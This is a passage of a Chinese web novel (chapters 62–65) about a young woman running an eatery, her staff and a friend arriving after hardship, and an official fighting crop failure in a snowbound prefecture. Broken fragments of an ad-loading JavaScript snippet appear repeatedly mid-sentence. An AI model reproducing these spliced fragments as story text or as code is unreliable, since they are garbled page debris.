“今日辛苦了,这是药酒,揉在酸痛处,明日能好许多。”袁分指着桌子道。 那药酒想来是极好的,用白玉瓶子装着,袁芽看得心里一暖,试探着关心袁分道:“你......今日累吗?” 做了一天账房,光站在柜台前记账,手肯定很酸,袁芽低头看着袁分空荡的左袖,又将目光挪过去看他的右手。 “不累。”袁分道,他有些不习惯这样的对话。 从前回到家中都只有自己一人,收养袁芽后,她也是紧跟着秦见君,“兄妹”两人连饭都不在一块儿吃,他早已习惯了这样疏离的人际关系。 袁芽眼中的关心实实在在,他忽然觉得心口被烫了一下。 “你若是太累,我明日便同秦小娘说......” “别说!”袁芽打断道,“第一日有些不习惯,明日我会做得更好的......”她说得有些急切,活像是袁分要抢走什么她心爱的东西。 袁分想起秦见君先前说的,袁芽要通过自己劳动赚钱,才能有安全感,自己这样贸然截断她的工作,确实不妥。 于是他闭上嘴不说话了。 袁芽开始反思是不是自己刚刚的声音有些大了...... “账本.....是怎么做的?”问完,袁芽都想给自己的脑袋来一下......这话转得也太生硬了...... 不过好在袁分并不戳穿她,他将账册翻开,竟然开始仔细向袁芽讲账册要如何做。他心中也暗自感叹,还好回房拿药酒拿得急,忘了放下账本,这下才有了借口转移话题...... 袁芽见他讲得认真,便也不纠结那么多了,凑过去仔细听着。原本是用来打破尴尬气氛而随意捡的话题,没想到竟让她听出门道来了。 袁分也惊讶地发现,袁芽在算术的天赋很不错。他回房去取了算盘来,接着便更加确定,袁芽适合算术。 秦见君听到这消息时也十分吃惊,袁芽认字很快,不过记性稍差,点菜、传菜稍稍有些吃力。她还想着除了账房外,还要再招个伙计来帮忙,如今看来,若是袁芽能当账房,便只需再招个伙计即可。 第二日脚店开门时,虽无第一日火爆,却也有不少食客来往。 “生意怎么没昨日好?”袁芽有些担忧地靠在柜台上,同袁分说话。 昨夜袁分教她算术,毫不遮掩地直言夸她,她才知晓,自己这个便宜哥哥是个面冷心热的,于是便渐渐放开胆子来接近他。事实证明,袁分并不抗拒她的接近。 因为没招到账房而被迫继续上工的袁分,将方才收的银钱整理好,道:“昨日开张有削价,卖得好在情理之中,今日原价,还能有这么多食客已是很不错了。” “真的吗?”袁芽听了,前一瞬还暗淡的眸子重新亮了起来。 这双眸子实在好看,袁分忍不住缓和了神色答道:“自然。” 袁芽还想说什么,余光瞧见门口来了人,便立刻转身迎了上去。 “沈小姐。” 沈婉带着莺儿进了大堂,略略扫了一圈,问:“见君在后厨?” 袁芽点头,引着沈婉往后厨走。 秦见君正在舀梅子水,抬头见沈婉过来,便将梅子水递给袁芽,让她送出去。 “怎么了?有事?” 昨日才来送过开业礼物,今日怎么又来了?秦见君有点疑惑。 沈婉见她一脸迷茫,便眨了眨眼道:“你还未看我昨日送的礼吗?” 秦见君想起昨夜拆着礼物又忽然转去看自荐信了,有些不好意思道:“昨日忙忘了......” 沈婉也不恼,笑道:“里头是香橼的进货契约。” 秦见君一听,心里有些惊讶。沈府送来的香橼品相极好,她先前也想过进一些香橼来做香橼冰茶,不过担心进货价太贵,又恰好入秋了,不适合饮冰,于是便放弃了。 沈婉解释道:“先前你送来的香橼冰茶,我爷爷爱极了,家里的厨子琢磨了一下,竟复刻出来了,我想着这样好喝的茶饮,当与百姓共赏,于是同绵州酒楼、脚店的老板商议了一番,签了契约,我供香橼给他们做茶饮。” 秦见君点点头——沈婉的商业头脑还是不错的,看来她也不是每天窝在家里想着谈恋爱的事...... “先前庄子上送来的香橼,除了放在冰室增香外,实在不知如何烹饪,我着实苦恼了一阵,好在你做出了香橼冰茶,这才让香橼有了赚钱的路子,是以你的脚店开张,我便想着签下契约,我给你全大荆最低的香橼进价。” 送上门的生意不做白不做,再说了,香橼不仅能做冰茶,还能做许多美食,秦见君忙乐呵呵地使唤袁芽去自己家取契约。 趁着午后人少,秦见君与沈婉签好了契约。 “对了......”秦见君问,“昨天你一走,赵大人就来了,你们碰上面没?” 提起这个,沈婉便道:“碰上了,他还同我说了话。” “说了什么?”秦见君八卦道。 “似是在提醒我,勿忘诗会之恩......” 秦见君疑惑,赵浅聿看着不像会挟恩谋利的人啊...... “要不过几日我再请他过来,你们在我店里边吃边聊,仔细打探一下?”秦见君提议。 没想到沈婉摇了摇头:“我明日要南下。” “南下?”秦见君问,“去做什么?” 沈婉轻叹了一声道:“昨日上任的知州大人,就是我先前同你说过,在诗会上......冒犯我的那人......” 秦见君睁大了眼:“这......可真是冤家路窄......” “我回去同爷爷商议了,他让我出去暂避风头。”沈婉道,“我想着,香橼冰茶谁都能琢磨出来,若真想做香橼的生意,那必要将香橼种植握在手中,南边盛产香 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 橼,正好借这个机会去看看,若是能收购些种植园也是好的。” 秦见君忍不住点头赞同——看来沈婉真的不是恋爱脑。 “明天就走?”秦见君忍不住问,“什么时候回来?” 沈婉默算了一下,道:“年前该是能回的。” 也就是要去两三个月...... 秦见君忍不住想到裴眠,裴眠过年也应该不会回来吧。 送走沈婉,秦见君便坐在窗边看向街道。 前几日下了雨,天气转凉。 街边堆了几簇落叶,行人走过时,枯黄的叶子便随风卷起,再落回地上,本就干燥发脆,摔下后便有了裂缝,与叶脉相交错,无人发觉。 “一碗胡荽牛肉,一壶春明酒。”粗厚的男声响起。 秦见君转头看过去,是个高高壮壮的男子,侧脸有一道不甚清晰的疤。他似是很热,袖子挽起卡在手肘处,露出的手臂上也都是纵横的疤。 秦见君看向袁分,他只抬头看了那男人一眼,便低下头继续看账本,似乎毫不在意。 于是秦见君也放心地进了后厨。 沈勤忠是第一次来这家新开的脚店,昨日手下人咋咋呼呼同他讲了一夜,这家店的老板水灵漂亮,胡荽牛肉更是一绝,价格公道、交易和气,让沈勤忠定要来看看。 方才老板转进柜台后的小门中,沈勤忠只来得及看一眼她的侧脸——确实水灵。 袁芽给沈勤忠点好了菜,便也进了后厨。 “姐姐,那人看着好吓人......” 秦见君将卤牛肉切成厚薄均匀的片状,加上料汁,再将切碎的胡荽扔进去搅拌,无所谓道:“不慌,不是有你哥在吗?” “我哥......”袁芽还是很担心,“我哥只有一只手啊......” 秦见君抬头看向她,揶揄道:“知道担心你哥了?” 袁芽闭上嘴,脸颊有些鼓鼓的。 “放心吧,你哥一只手也能把那个怪人打得满地找牙。”秦见君可是见过袁分是如何殴打“明哥哥”的。 袁芽忍不住转身扒在小门上,朝柜台望过去。 袁分脊背挺直,站在柜台后看着账本,不远处的怪男人也老老实实坐在桌边等菜。 她蹭到袁分身后,扯了扯他空荡的那只袖子,问:“你能打得过他吗?”说着,用下巴示意坐在窗边的怪男人。 袁分有些莫名,诚实道:“没打过。” 袁芽一听,觉得袁分这是在逞强,定是打不过才这么说的!她忧心地又拽了拽袁分的袖子道:“你......你别跟他打......” 袁分放下笔,侧身看向袁芽,问:“我为何要与他打斗?还是说,你同他有仇?” “没有!”意识到自己声音有些大,袁芽忙捂住嘴,偷偷去瞥那怪男人,见他并未在意这边,才稍稍放心道,“他看着很不好惹,我怕你吃亏......” 袁分怔了怔,有些不知如何回答。 干他们这行的,平日里只需接受命令与执行命令,从来只有吴幽向他投来过担忧的目光,如今又加上一个袁芽。 后厨传来秦见君的声音,袁芽只好扯着袁分的袖子道:“总之你别看他,不招惹他就好了。” 说完她便转身去后厨拿菜。 袁分看着她依然瘦弱的背影,感到一股久违的温暖爬上心头。 失去吴幽后,他像是回到了从前冰冷又难捱的生活中,可此刻袁芽的叮嘱却像一把利刃,将他密不透风的麻木划开了一道口子。 63.第 63 章 沈勤忠看着面前纹理漂亮的卤牛肉,上面缀着翠绿的胡荽,凑近便能闻到香气。 他夹了两片牛肉进嘴,入口是芝麻油香气混着卤香,牛肉炖得软烂,晾凉切片后口感变紧实了些,咀嚼时隐隐有汁水爆出。 再嚼一口,饱满的胡荽茎被咬断,属于胡荽的独特香气钻入鼻腔,卷走了卤牛肉与芝麻油的腻气,引得人忍不住想再尝一口。 沈勤忠心中忍不住赞道:难怪都让我来尝尝,口味确实不错...... 秦见君在柜台边观察了一会儿,发觉这怪人只认真喝酒吃菜,情绪也稳定得很,不像会惹事的样子,而且方才窗外路过几个老板,都同这怪人点头打招呼。 秦见君略略思索了一下,趁着那人的胡荽牛肉吃完,又送了一碟过去。 “客官慢用。”秦见君放下碗碟,却并未离去。 沈勤忠抬头,发觉这可确实是个貌美的小娘,不过自己还未加菜,她便送了过来,有刻意讨好之嫌,也不知她所求为何...... “客官看着不似寻常人......”秦见君试探道,“不知客官姓名是什么?” “沈勤忠。”他并未遮掩,毕竟整个平雅街北都是他的地方,倒是不怕这小娘子能做出什么对自己不利的事来。 沈勤忠?! 秦见君面上不显,心中却翻起惊涛骇浪,是谭连丰说的“南刘北沈”里的沈勤忠? 难怪那么多老板路过都跟他打招呼。 沈勤忠喝了口酒,咂吧咂吧嘴,叹道:“下酒菜好得很,只不过这酒不够烈。” 秦见君听了,便也叹了口气道:“珍馐楼只有这种酒......” 她当初倒是想多进几种不同度数的,结果有酿酒权的珍馐楼也并未酿出什么烈酒来,大多是度数很低的酒,她只好挑了其中口味稍好一点的春明酒。 沈勤忠自然知道她在愁什么,见她满脸可惜的样子,便问:“怎么说?你会酿酒?” “会。”秦见君答。 这倒是让沈勤忠刮目相看了,不过大荆对酿酒之事管控极严,州县中的酿酒权都被大酒楼垄断,其余脚店只能从大酒楼卖酒,私酿是会被抓起来的。 沈勤忠见她坦诚,心中生出亲近之情来。生意场上的人大多心思深沉,喜欢猜来猜去,从不将底牌轻易透露,逐渐便养成了不坦诚的习惯。 看着眼前的小娘子眉目舒展、直白坦诚,沈勤忠又喝了口酒,道:“你且好生开店,往后有你酿酒的日子。” 秦见君听得眼睛一亮——果然,沈勤忠说话耿直、不拘小节,对这种人来说,真诚就是必杀技! “那就先谢谢沈老板了。”秦见君笑道。 沈勤忠挑挑眉,继续夹牛肉吃。 秦见君想着讨好讨好这位街北的老大哥,于是道:“您明日还来吗?明日特供黄豆炖猪蹄,口味极好。” 没想到沈勤忠摇了摇头。 “那后日呢?” 沈勤忠还是摇头,道:“年前都不会再来了,我明日要南下。” 怎么一个两个的都要南下? “还有谁要南下?” 秦见君不小心将心中所想嘟囔出声,沈勤忠听了,随口问。 “沈府小姐,沈老板认识吗?”秦见君说到这儿,忽然道,“真巧,你们都姓沈。” 沈勤忠愣了一瞬,笑道:“不巧,我是沈大人旧部,姓名是沈大人给取的,此次南下就是为了护送沈小姐。”既然秦见君与沈婉相识,那他倒也不必遮掩。 秦见君惊讶到微微张嘴,谭连丰打听许久都没有下文的事,自己这就知晓了? 沈勤忠的靠山就是沈叠山,所以才能在街北打下产业。 “沈大人的旧部......不是都封官行赏了吗?”秦见君好奇道。 沈勤忠大笑了两声,道:“当官有什么好的?我这样自由自在的不好?” 秦见君似是找到知音般,心想:我也这么觉得。 “做官没意思,我拿了赏钱来街北做生意,也算逍遥。” 沈勤忠喝完最后一口酒,叮嘱秦见君好好开店,待他回来再想法子替她拿酿酒权。 秦见君送走沈勤忠,自己也取了一壶春明酒,仔细咂摸了一会儿,觉得能改进的空间还是很大的。 话说回来,大荆没有烈酒,北方人要如何度过寒冬? 春明酒为她的双颊染上微醺的红色,她半倚在窗边,享受窗外凉风带走脸上的燥热,不着边际地想了起来。 正在寒风中前行的裴眠也想到这点,于是问连立山:“叶水州可有酒?这样天寒地冻在外奔波,没有酒暖身实在难熬。” 连立山从腰上解下酒囊递给裴眠,道:“我带了点,虽用处不大,但聊胜于无。” 裴眠看着那只包了浆的酒囊,犹豫半晌还是没接。 连立山挠了挠头将酒囊收了起来——裴眠哪儿都好,就是太爱干净了,不过若不是他爱干净,连立山倒真要忘了他是个贵公子了。 叶水州十月飞雪,极速下降的气温将田里即将成熟的苗冻死了一片又一片。 裴眠与连立山站在田埂上,眼睁睁看着前几日还生机勃勃的稻苗全部冻死,再无救治可能。 “看来今年也天公不作美,近几年都是如此......”一旁的农户感慨道,黢黑的脸上布满皱纹,雪落在他黑白杂色的眉毛上,不一会儿便将他装点得像个耄耋老者。 “近些年都是十月飞雪,冻死稻苗,这才导致叶水州颗粒无收......”裴眠喃喃道。 他刚到叶水州时,便听说了这个情况。只不过这里的百姓们都安慰他,早些年稻苗是能撑到十月成熟的,待收割后,大雪才会落下来。 村民都道,或许是近几年得罪了龙王,龙王发怒才降罪于百姓,眼下裴眠这个“贵人”来了此地,或许龙王会给重新降下好天气。 当时裴眠才刚开始学习农事,稻苗已种入田中,他也不好插手,只能静待观察,如今稻田冻死,看来龙王并未给他这个“贵人”面子,眼看又是一年苦寒。 连立山有些懊恼地叉着腰站在田地边,他方才下地去仔细看过,稻苗无一幸免,全部冻死。 裴小之看着连立山挽起裤腿、光着脚站在田埂上,忍不住打了个寒颤。 “回去吧。”裴眠蹙眉走了。 回到屋子里,他翻开这些日子一直在看的几本农事书,抿着唇不说话。 裴小之见了,知晓自家郎君又开始“认真办公”模式了,于是转头看向窗外的天——秦小娘的信怎么还不到?再不到的话,郎君今日的午饭可能就不会吃了...... 终于,信鸽在裴小之的期盼中扑棱着翅膀飞了进来。 “郎君!绵州来信!”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 裴眠放下笔,接过信展开。 信中秦见君说脚店开得顺利,认识了许多老板,相熟的食客也大多脾性温和,开业至今还没遇上什么故意刁难的客人,岁月静好。 不过绵州秋意渐浓,秦见君买了好几套新衣裳,还贴心地将款式画在了文字旁,不过她的毛笔控制得不好,图画上的墨迹深一块、浅一块,看得裴眠忍不住露出笑意。 信的最后,秦见君叮嘱裴眠多添衣裳,顺便问了叶水州会不会下雪,字里行间透着兴奋与期待。 裴眠轻叹一声,收起信纸。 “郎君,吃午饭吗?”裴小之适时上前问。 裴眠收信的手一顿,想起秦见君千叮万嘱要他按时吃饭的模样,只好点头应了裴小之的话。 绵州地处中部,入冬不早不晚,但寒意逼人。秦见君将店里朝外的窗户合拢了些,阻挡寒风侵袭。 “姐姐,大堂都收拾妥当了。”袁芽的声音响起。 秦见君回头,经过几个月的喂养,袁芽比夏日见她时结实了许多,面容也开始脱离稚气,隐隐有了女子柔媚之感。 袁芽旁边站着个小伙子,与她一般大,名为覃涛,是谭连丰远房亲戚家的孩子,念不起书,便来绵州找工。 恰好袁芽顶上了账房的位置,大堂伙计之位空缺,秦见君便将这孩子留了下来。 覃涛平日里还算够用,但只要客人多一些,他便有些反应不过来。 秦见君因此受过好几次客人责难,不过店里人多的日子尚算少数,秦见君便想着将就将就,并未再招其他人。 不过也是因为客人多寡的考虑,秦见君并不敢有太大的促销或者上新活动,生怕人多了,覃涛顾不过来。 “收好了就都去后厨找玲姐,我们今晚涮火锅怎么样?”秦见君道。 袁芽笑着点头,眸子亮晶晶的。 在含萃店忙碌的日子是她从未有过的经历。还记得第一个月拿到工钱时,她高兴得一整夜都没睡,翌日顶着两个黑眼圈去街上给袁分买了一套衣裳。 袁分收到衣裳时脸色十分精彩,秦见君看得发笑。 明明就感动得不行,但袁分的脸好似根本就没有录入“感动”这个表情似的,当时的脸十分僵硬纠结。 袁芽见了,以为他不喜欢自己挑的衣裳,忐忑了许久。最后还是秦见君看不下去,将兄妹二人拉到后厨把话说开了。 秦见君带着覃涛进了后厨,留下袁芽,她环视一圈,上前想将留着缝的窗户关上。 窗缝处忽然传来熟悉的声音——不是平日里常听到的,而是......记忆深处的、许久未听到过的声音...... “怎么办啊?钱都花光了,天宝的病还是一点都没好转......”妇人的声音听着十分焦急,“那老大夫是不是骗钱的?想骗我们天宝的救命钱!我这就去找他拿回来!” 袁芽倾身过去,从窗缝中看见自己曾经的爹爹正拉着娘让她不要撒泼,爹爹的手里还抱着弟弟。 是弟弟生病了吗? 袁芽忍不住往前探了探,想看得更清楚些,身后却传来秦见君的声音。 “小芽?做什么呢?锅子都热了!再不来,小涛就把肉都吃完了!” “来了!”袁芽合上窗户,转头应道。 生不生病也同她没关系,都是前尘往事了...... 64.第 64 章 初冬时秦见君推出了火锅套餐,大荆没有辣椒,她只能做高汤锅底。好在高汤锅底也能让百姓取暖,而且虽然其他脚店、酒楼也有火锅套餐,但蘸料并没有珍馐店的样式多。 是以珍馐店火锅反馈很不错,店里忙了好一阵子,生意蒸蒸日上。 自从烟火大会之后,绵州宵禁便彻底取消了。 初冬夜里,路上寒风阵阵,秦见君从温暖的后厨出来,走进大堂都忍不住打了个寒颤。 “小涛,快把门关上。”袁芽忙取了毯子给秦见君披上。 覃涛将写着“营业中”的木牌放在门外,然后将大门关上了——这是秦见君教的法子。 大堂前后通透,穿堂风十分嚣张,既要关上门,又想有客人,只需摆一块显眼的牌子在门外即可。 秦见君翻了翻账本,大门忽然被推开。 进来的是个眼熟的客人——隔壁街上马厩养马的刘叔。 “刘叔来了?”秦见君迎上前。 刘叔是个四十上下的男子,因着在外经受雨雪风霜,脸上沟壑横生,显得有些苍老。 他反手关上门,搓了搓手笑道:“今日可真冷。” “是啊。”秦见君招呼覃涛去倒热茶,问刘叔,“还是老规矩?” 刘叔笑着点头,熟练地坐在了常坐的桌边。 秦见君转身进了后厨,炒了一盘青菜,又添了满满一碗饭,让覃涛送了出去。 虽然珍馐店中饭菜的定价已经很低了,但依旧还是更适合多人点菜。像刘叔这样独来独往又不喜面食的客人,只能点米饭配一碟素菜,既便宜又不浪费。 但长此以往吃下去,营养太单一了。 秦见君在纸上写写画画,想着推出饭菜套餐,就像盒饭一样,做成荤素搭配的一人食米饭套餐,这样刘叔他们既不浪费又能吃到多样菜。 秦见君能预想到这一人食套餐推出后,店里会如何火爆,到时覃涛必是忙不过来的,许是真的要着手再招个大堂伙计了...... 正想着,袁芽忽然进了后厨。 “冯莲姐姐来了。” “冯莲?”秦见君站直了身子,连忙往大堂走。 冯莲站在柜台前,衣物单薄,上面全是补丁,看着灰扑扑的。手上拎的小包袱上沾了泥巴,脚上的鞋子也破了洞,能隐约瞧见一抹肉色。 秦见君上下打量了她一番,才仔细去看她的脸——瘦了许多,原先的圆脸瘦成了瓜子脸,眼下青黑,眼角耷拉着,十分憔悴的模样,眸子也黯着,目光沉沉,了无生气。 “一个人来的?”秦见君上前,将身上的小毯子取下来抖开,想为冯莲披上。 没想到冯莲针扎般躲开,动作太大,手肘磕在柜台上,发出巨响,连刘叔都忍不住回头看。 “我......我......”冯莲有些无措,手肘上的包袱滑落到手腕上,两只冻得发紫的手紧紧交握,局促地看向秦见君道,“脏......” 秦见君轻叹了声,上前将毯子披在了冯莲身上,拉着她的手去了后厨。 前几日安承喜来信,说冯莲身上的伤几近痊愈,她不肯留在医馆,执意要来绵州。 秦见君便问了医馆应付多少银钱,随后将钱包了好几层,让信使带去了湖梁县。 只是没想到冯莲动作这么快,出了医馆便赶路来了绵州。 回过温来的冯莲觉得头有点胀痛,她晕乎乎地四处观察着这个后厨。 夜里食材不多了,但看着还都新鲜、摆放齐整,刀具也擦得锃亮,烛火充足,她从未见过这样大、这样好的厨房...... “喝口热茶。”秦见君递了杯热茶给冯莲。 冯莲低头,嘴碰上热茶时才发觉唇上已经冻裂开了,先前太冷,没觉着疼,被热水一浸,刺痛便涌了上来。 可身子太冷了,她的心、肺、肝都要冷透了,于是忍着疼将热水一饮而尽。 感受到温热从嘴里经过喉管一路到了胃里,她才觉得舒坦了些。 秦见君忙又给她续了一杯热水,让她端着取暖。 “其实不急着过来的,这天寒地冻的,路上慢些也行。”秦见君道。 冯莲有些小心翼翼地抬头看她:“我答应你要来的......” 秦见君看着冯莲不曾挺直的腰背,还有微微低着的头颅,心中若有所感。 从前乐观开朗的冯莲似乎随着那老鳏夫一同死掉了。 她眼眶有些泛酸,努力眨了眨眼睛,缓声道:“对,你答应我要来绵州一起赚钱的,你看,我的脚店开起来了,以后我还要开酒楼,赚很多钱......” 冯莲似是想起什么,赶忙将小包袱打开,翻找许久,从深处取出一个小布包来,递给秦见君:“你的钱,这是多的,医馆的钱我会还你。” 秦见君抿了抿唇,将自己刻意留给冯莲的路费给收了回来,也并未让她不必还钱,而是弯着眼睛道:“那你可要好好做工,医馆我给了不少钱呢!” 冯莲有些惶恐,但眼底的迷茫与死气消散了些,她认真地看向秦见君,承诺道:“我会的。” 冯莲来了,秦见君便不再畏手畏脚,当晚便定下一人食套餐内容,翌日买了食材回来试菜,三日后一人食正式推出。 “秦老板,这套餐好啊!有肉有菜还有米饭,方便!还便宜!”客人赞不绝口。 秦见君在柜台后取了酒,笑道:“好吃常来!”说着便拎着酒坛子去了后厨忙活。 店里生意异常火爆,冯莲第一次见这场面,有些怵住。不过她只慌了一会儿,接下来便展现出惊人的记忆力。 何人何桌点了何物、座次顺序她都记得一清二楚,无论是报菜名还是上菜都无比顺利、不出差错。 秦见君抽空看了几眼大堂,生怕出错,看清情况后,心中连连感慨还好冯莲在。 店外寒风凛冽,店内暖意融融。窗内飘出的白汽缓缓上升,直至消散在屋顶,路过行人都好奇地往店内探头,一派热闹景象。 叶水州内并无这样热闹的脚店。 这段日子大雪连绵,街上积起厚厚白雪,踩上去咯吱响,一不留神便会滑倒。是以街上行人稀疏,街边店铺生意惨淡,开着门的都没有几家。 “郎君......呼......太冷了......要不要歇歇?”裴小之一边跺脚一边跟在裴眠后面走。 裴眠头也没回,只答道:“先前同你说了冷,是你执意要跟出来。” 裴小之搓了搓快被寒风吹僵的脸,叹出一口白汽道:“袁原去虔渊州办事了,总不好让郎君一个人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在外奔波......你身子本就不好......” 裴眠将裴小之唠叨的话扔在脑后,加快脚步往前走。 裴小之只好捣腾着腿快步跟上,嘴里还在念叨裴眠身子不好的事。 他丝毫未发觉,自己已经累得气喘吁吁了,“身子不好”的裴眠却像个没事人一样闷头往前走。 连立山跟在一旁,笑着冲裴小之道:“你要是受不住就先回去吧,我跟着裴大人。” 裴小之摇摇头,坚持要跟着去。 连立山只好由着他去,心想这段日子裴眠除了看书、写字外,就是在院子里锻炼身体、打拳,如今已比初见时结实多了。 在他看来,莫说裴小之,裴眠比寻常百姓还要有力些,何须担忧? 三人到了农户家中,裴眠连热茶都没喝便问道:“书中记载,大荆有早稻与晚稻,叶水州为何不种早稻?” 大荆的晚稻于七八月播种、十月成熟,早稻则是三四月播种、七八月成熟。 裴眠想着叶水州十月入冬,大雪纷飞、寒意骤降,稻苗被冻死,这一趟便白种了,何不将时间挪至更温暖的初春播种? 那农户听了,摇头道:“祖上都是种的晚稻,咱们这儿三四月还是冷,怕冻坏种子。” 裴小之好奇道:“先前听你们说,这几年冬日提前,十月便来了,那春日也该一同提前,三四月怎么会冷呢?” 农户听了,也若有所思起来,半晌才道:“这几年初春确实没试过下种子......” “明年开春种早稻。”裴眠拍板了,即便种子只有极少的可能存活,他们也必须一试。 农户叹了口气道:“唉......明年大家伙许是不愿再种地了,眼瞅着年年种、年年亏,一年到头都在外面买米吃......不折腾田地许是还能留下点银钱,再种下去可就血本无归了......” 裴眠垂下眸子,这情况他知晓的,家家户户都抠搜着买米吃,即便是孩童也不见脸上有肉。 “再说,咱们这儿太冷了,大雪堵了去外地的路,街上有想做生意的也走不出去,一到冬日就都成了闲人......”农户随口道。 连立山也坐在一旁蹙眉不说话,叶水州地广人稀,北上临边,南下封雪,到了冬日便像个孤城似的,百姓被软禁在此处受苦,他心里也难受。 “索性要等到初春再播种,冬日闲着也是闲着,我带人去开路!”连立山起身道。 裴眠看了他一眼,转头望向窗外皑皑白雪,眉间是散不去的愁。 “郎君,我也想去开路......”裴小之犹豫了一下,小声道,“虽然不知道能否开通,但不做的话就永远无法知晓了......” 裴眠转头看向裴小之——是啊,不做的话就永远无法知晓了...... 从前在虔渊州时,他权衡利弊做出的决策都经过深思熟虑,在那步步为营、如履薄冰的高墙之中,他不知不觉养成了“求稳”的性子,一点险都不敢冒...... “此事我会想法子。”裴眠打定主意要开路,但在此之前要先问官家拿银钱,百姓开路也是付出了劳动的,无论银钱多少,至少不能让百姓劳累了一天还空着肚子入睡。 农户听到裴眠这么说,眼底也亮起光来。 65.第 65 章(一更) 袁原出叶水州时,大雪才刚刚落下,地上虽然湿滑,却也不是不能行马,如今从虔渊州回来,大雪却封住了回去的路。 “吁!”袁原勒紧缰绳,身形健美的骏马踏着蹄子原地踩了踩,发出“嗒嗒”声。 此地距叶水州还远得很,想来叶水州已被这厚厚的积雪围住了,进出不得。袁原忍不住蹙眉,半晌后,他调转马头,往来时的客栈方向去了。 山野间的客栈简陋,却是旅人取暖歇脚的好地方。 “我帮您好生喂着这马,您几时回来?”伙计收好银钱,将缰绳缠在马厩柱子上,问袁原。 袁原抬手抚了抚马头,答道:“不知,迟的话或许要明年开春。” 骏马行不得,他打算独自前行,走也好、爬也好,他要去裴眠面前复命。 袁原收回手,又按了按胸前用油纸包着的书册,向伙计要了纸笔与信鸽,先给裴眠去了一封信,虽不知信鸽能否送到,但好歹是个希望。 随后他便向伙计告辞,转身走进了密密麻麻的鹅毛大雪中。 秦见君的一人食套餐广受好评,不少百姓慕名而来,店里着实热闹了一个月。店里每个人都忙得脚不沾地,打烊后也不多话,都带着一身疲惫回家倒头就睡。 直到客流量逐渐趋于稳定,秦见君才有空召集众人开个会,顺便将工钱发了。 “一人食套餐卖得好,在座各位都有功劳,这个月工钱都有涨。”秦见君笑眯眯地宣布。 覃涛与袁芽最先沉不住气,高兴地欢呼出声,玲姐抿唇笑着,连冯莲的眉梢都缓和了不少。 秦见君由着他们闹了会儿,又道:“还有一件事。” 覃涛与袁芽纷纷闭嘴,看向她。 她挑了挑眉,看向冯莲道:“这段日子以来,冯莲的努力大家有目共睹,她这个月涨的工钱会稍多些,你们有意见吗?” 袁芽与玲姐摇头,冯莲的好记性与有条理大家都看在眼里。 只有覃涛脸上的笑容僵住,有些愣愣地坐回椅子上。 “小涛?有什么意见吗?”秦见君问。 覃涛与冯莲属于同工种,一个加钱多一个加钱少,心里不平是正常的。 秦见君觉得这事必得摆在台面上摊开了说才行,不然私下积怨,后果会更严重。 覃涛清秀的小脸上透出些慌张的意思来,他嗫嚅了半晌才道:“秦老板......是不是要将我辞了?” 秦见君莫名:“为什么要辞退你?” “冯莲姐姐这么厉害,店中有我没我都一样......何必多出一份工钱......”覃涛的声音有些低落,但又夹着一丝委屈,有点孩子气。 秦见君憋不住笑了,道:“你危机意识还挺重,不过我不会辞退你的。” 覃涛抬起头看向她,眼中先是惊喜,后又转为疑惑:“为什么?” “因为我以后要开酒楼,到时候肯定缺人手,你在脚店做了这么久的工,熟悉这里的菜色和流程,我怎么会放过你这个熟练工呢?”秦见君道。 覃涛听了,顿时喜上眉梢。 秦见君在心中暗叹,果然还是个孩子。 冯莲自来绵州后,便与秦见君住在一块,今夜拿了工钱,她不可置信地揣着“巨款”,跟在秦见君身后,神情恍惚。 “怎么了?赚钱了还魂不守舍的?”秦见君进了屋子,将取暖的炉子烧上,回头问冯莲。 “我......这太多了......”冯莲有些战战兢兢的,她从未想过自己一个月能赚这么多工钱...... 秦见君看她表情忧愁,知晓她这是对自己不自信,于是上前握住她的手道:“冯莲,这工钱是你应得的,你没听到小涛他们夸你记性好?有好几个客人都直接到我面前来夸你,你做得很好,因为很好,所以才得了这些工钱。” 冯莲被她夸得脸颊泛红,手指不自觉用力攥紧。 “疼疼疼......”秦见君轻呼,冯莲这才回过神将手松开。 秦见君收回手,看着手上的红痕,好笑道:“只是脚店一个月的工钱,你都不敢收,以后跟着我开酒楼赚了更多的钱可怎么办?” 冯莲被她说得心热。 先前在湖梁县养伤时,她总会想起戴鸣,继而想起那老鳏夫。 那期间爹娘来看过她,却不是关心她的身子,而是来同她说,往后出去再别说自己是他们的女儿...... 说她的女子名声尽毁,被盖上了“浪荡”“克夫”的戳子,从此以后再也无法嫁人了,这辈子完了。 爹娘不想承认有她这么个丢人的女儿,于是特地从井沟村徒步走到湖梁县来告知她,断绝了关系。 冯莲还记得,她在万念俱灰时见到熟悉的爹娘,心中有多么感动,可下一瞬,爹娘便将她的感动与温情打得稀碎,彼时她觉得不如死了好..... 死了便不必苟活于世,受人指指点点,也不必让爹娘蒙羞,出门无脸。 安承喜见她心存死志,便同她说起秦见君,说秦见君请了大人物来摆平老鳏夫的事,从此不会有人再打骂她了,还说起秦见君要在绵州开脚店。 冯莲这才想起,在那间四面漏风的破屋子里,她曾答应过秦见君,要活下去,要去绵州给秦见君做工。 如今的境地,她对名声与钱财已经没有念想了,只想着答应秦见君的事,自己是一定要做到的。 于是她沉默地喝药、换药,努力让身子好起来,而后拿着医馆找零的银钱踏上了去绵州的路。 从湖梁县到绵州,大多是坐车来去,但她没钱。包袱里装着秦见君的钱,她在饿得受不了时才会取一点出来买饼吃,再牢牢记在心中,想着以后一定要还给秦见君。 一路上她不知吃了多少灰,风一日比一日大,天一日比一日冷,缩在枯草堆中过夜时,冯莲会想起当初与秦见君搭冯大牛的车去县里,她们俩窝在干草中间,那感觉温暖又新奇。 秦见君去往绵州的路上会想什么呢? 冯莲不知道,她默默抱紧了怀中的包袱,即将入眠时,隐约觉得,那时的秦见君一定心怀热望...... 而直到此时此刻,她才将将能知晓“心热”的感觉,许久都未造访过的“希望”降临在她心中,为她的四肢百骸灌入热流,连心跳都变得有力起来。 “我......我会好好赚钱!”说着,冯莲将今夜拿到的工钱递给秦见君。 秦见君明白她想还自 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 己钱,不过眼下不是时候,她揶揄道:“你把钱都还给我,然后继续赖在我这里住着不走了?” 